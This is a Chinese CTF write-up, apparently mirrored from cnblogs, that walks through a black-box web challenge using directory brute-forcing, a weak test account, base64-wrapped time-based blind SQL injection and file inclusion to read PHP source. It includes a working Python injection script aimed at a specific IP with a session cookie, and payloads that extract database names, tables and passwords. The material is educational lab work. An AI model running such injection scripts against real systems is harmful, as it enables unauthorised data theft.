zoukankan      html  css  js  c++  java
  • 某平台一道ctf题

    某平台一道ctf题

    说是ctf题,其实还是更倾向于黑盒渗透的思路

    信息收集

    打开页面只有一个孤零零的403,只爆破出了info.php,phpinfo内容,以及存在/static和/user目录

    这里没其他思路,继续爆后台了,这里一开始拿我所有的字典都没爆破出来,又找了好几个,干出来一个Login.php

    发现是一个登陆页面,因为用户名输入正确时会返回密码错误,用户名输入错误时会返回无此用户,在这里测试了很久布尔盲注,以及其他各类注入发现还是不行

    又一直爆破,发现有test/test123的弱口令问题,这里有一个小坑,我的火狐在登陆成功后不会跳转,抓包看了下来源登陆页面,或者chrome就不会有这个问题

    登陆

    sql注入

    测试各个点,最终,手动输入参数aid=3

    转到

    在这里发现id进行了base64,这里还是比较可疑,通过不断地测试最终发现id可以进行时间盲注,这里坑点是一开始编写exp,没带入cookie导致一直无法注出内容

    编写exp

    # coding:utf-8
    import requests
    import datetime
    import time
    import base64
    cookie = {
    'PHPSESSID':'8qc5nhbrbtghgj6ck7f4c4gje1'
    }
    name = ''
    for j in range(1, 30):
        for i in range(1,128):
            url = 'http://121.37.189.111:8005/user/Article.php?aid=3&id='
            #payload = "1 and if(substr(database(),{},1)='{}',sleep(3),1)#".format(j, i)  #level2
            #payload = "1 and if(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA = 'level2'),{},1)='{}',sleep(3),1)#".format(j,i)  #article,user
            #payload = "1 and if(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME = 'user'),{},1)='{}',sleep(3),1)#".format(j,i) #id,uid,text,title,s    id,username,password
            payload = "1 and if(substr((select group_concat(password) from user),{},1)='{}',sleep(3),1)#".format(j,chr(i))      #admin,test,wanglin,      
            print(payload)
            payload = payload.encode()
            payload = base64.b64encode(payload)
            payload = str(payload,'utf-8')
            print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload,cookies=cookie)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec > 3:
                name += chr(i)
                print(name)
                break
        print('name:', name)
    
    
    

    爆出最终密码,此处省略

    登陆

    查看源码发现此处读取图片的地方很可能会有文件包含漏洞

    文件包含

    确实存在文件包含,利用此漏洞先读取此文件Home.php源代码

    //Home.php
    <?php
    error_reporting(0);
    require_once("../static/header.html");
    require_once("Base.php");
    
    $user = isUser();
    if($user=="user"){
        echo "<h2>hello ".$_SESSION['username']."</h2><br>";
        echo "我没有secret,但我有一颗...的心=。=";
        echo "<br>我的记录:<br>";
    }else if($user=="admin"){
        echo "hello ".$_SESSION['adminname'];
        echo "<br>我有个secret,是我最珍视的宝物,我就把它藏在附近!";
        echo "<img src=Read.php?filename=1605259009017.jpg width='50' height='50'>";
        echo "<br>我的记录:<br>";
    }
    
    require_once("Article.php");
    ?>
    
    

    发现包含了Base.php,继续读取

    //Base.php
    <?php
    
    function isUser()
    {
        session_start();
        //判断用户是否登陆
        if ($_SESSION['adminname'] != "") {
            return "admin";
        }else if($_SESSION['username'] != ""){
            return "user";
        }else {
            header('content-type:text/html;charset=uft-8');
            header('location:../Login.php');
            exit();
        }
    }
    
    
    //关于邀请码:
    #include("meifahufujiulaimingdu.php");
    
    

    发现hint,包含了meifahufujiulaimingdu.php继续读

    //meifahufujiulaimingdu.php
    <?php
     #关于邀请码,嗯,一目了然。
    require_once("Base.php");
    error_reporting(0);
    //$user = isUser();
    
     $url = "http://172.17.0.1:3000/code";
     $email = "";
    
    function send_post( $url , $post_data ) {
    
        $postdata = http_build_query( $post_data );
        $options = array (
            'http' => array (
                'method' => 'POST' ,
                'header' => 'Content-type:application/x-www-form-urlencoded' ,
                'content' => $postdata ,
                'timeout' => 15 * 60
            )
        );
        $context = stream_context_create( $options );
        $result = file_get_contents ( $url , false, $context );
    
        return $result ;
    }
    
    $post_data = array (
        'e' => $_POST['email']
    );
    echo send_post( $url , $post_data );
    
    
    #ps:建团?什么建团?  啊,哦,那个啊,我记得小姐把它扔到static下面去了,有心的话,去那儿找找吧。
    
    

    代码审计

    这里file_get_contents本来应该可以读/code目录下的内容,但是访问没有,应该是扒了道题下来,没有删。看hint扔到static下面,正好记得之前有static目录,测试发现PHP文件得到flag

    总结

    黑盒测试与ctf不同的就是,其实实际难度可能不大(技术侧面),本题也无waf,直接时间盲注即可。

  • 相关阅读:
    c++常用库
    boost
    android
    UITableView 多选
    c++ 比较两个集合
    事件加不上的另一种原因
    ios多线程
    ubuntu android
    jna StdCallCallback 回调问题查证
    java
  • 原文地址:https://www.cnblogs.com/karsa/p/14274808.html
Copyright © 2011-2022 走看看